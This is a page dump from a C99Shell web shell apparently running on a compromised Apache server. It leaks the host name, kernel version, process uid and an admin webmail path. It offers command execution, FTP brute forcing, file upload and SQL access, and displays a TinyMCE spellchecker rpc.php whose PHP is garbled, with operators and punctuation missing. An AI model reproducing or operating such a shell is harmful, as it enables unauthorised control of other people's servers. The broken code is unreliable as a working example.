!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/admin/webmail/program/js/tiny_mce/plugins/spellchecker/   drwxr-xr-x
Free 8.93 GB of 93.48 GB (9.56%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     rpc.php (2.9 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * $Id: rpc.php 822 2008-04-28 13:45:03Z spocke $
 *
 * @author Moxiecode
 * @copyright Copyright © 2004-2007, Moxiecode Systems AB, All rights reserved.
 */

require_once("./includes/general.php");

// Set RPC response headers
header('Content-Type: text/plain');
header('Content-Encoding: UTF-8');
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: " gmdate("D, d M Y H:i:s") . " GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0"false);
header("Pragma: no-cache");

$raw "";

// Try param
if (isset($_POST["json_data"]))
    
$raw getRequestParam("json_data");

// Try globals array
if (!$raw && isset($_GLOBALS) && isset($_GLOBALS["HTTP_RAW_POST_DATA"]))
    
$raw $_GLOBALS["HTTP_RAW_POST_DATA"];

// Try globals variable
if (!$raw && isset($HTTP_RAW_POST_DATA))
    
$raw $HTTP_RAW_POST_DATA;

// Try stream
if (!$raw) {
    if (!
function_exists('file_get_contents')) {
        
$fp fopen("php://input""r");
        if (
$fp) {
            
$raw "";

            while (!
feof($fp))
                
$raw fread($fp1024);

            
fclose($fp);
        }
    } else
        
$raw "" file_get_contents("php://input");
}

// No input data
if (!$raw)
    die(
'{"result":null,"id":null,"error":{"errstr":"Could not get raw post data.","errfile":"","errline":null,"errcontext":"","level":"FATAL"}}');

// Passthrough request to remote server
if (isset($config['general.remote_rpc_url'])) {
    
$url parse_url($config['general.remote_rpc_url']);

    
// Setup request
    
$req "POST " $url["path"] . " HTTP/1.0\r\n";
    
$req .= "Connection: close\r\n";
    
$req .= "Host: " $url['host'] . "\r\n";
    
$req .= "Content-Length: " strlen($raw) . "\r\n";
    
$req .= "\r\n" $raw;

    if (!isset(
$url['port']) || !$url['port'])
        
$url['port'] = 80;

    
$errno $errstr "";

    
$socket fsockopen($url['host'], intval($url['port']), $errno$errstr30);
    if (
$socket) {
        
// Send request headers
        
fputs($socket$req);

        
// Read response headers and data
        
$resp "";
        while (!
feof($socket))
                
$resp .= fgets($socket4096);

        
fclose($socket);

        
// Split response header/data
        
$resp explode("\r\n\r\n"$resp);
        echo 
$resp[1]; // Output body
    
}

    die();
}

// Get JSON data
$json = new Moxiecode_JSON();
$input $json->decode($raw);

// Execute RPC
if (isset($config['general.engine'])) {
    
$spellchecker = new $config['general.engine']($config);
    
$result call_user_func_array(array($spellchecker$input['method']), $input['params']);
} else
    die(
'{"result":null,"id":null,"error":{"errstr":"You must choose an spellchecker engine in the config.php file.","errfile":"","errline":null,"errcontext":"","level":"FATAL"}}');

// Request and response id should always be the same
$output = array(
    
"id" => $input->id,
    
"result" => $result,
    
"error" => null
);

// Return JSON encoded string
echo $json->encode($output);

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0043 ]--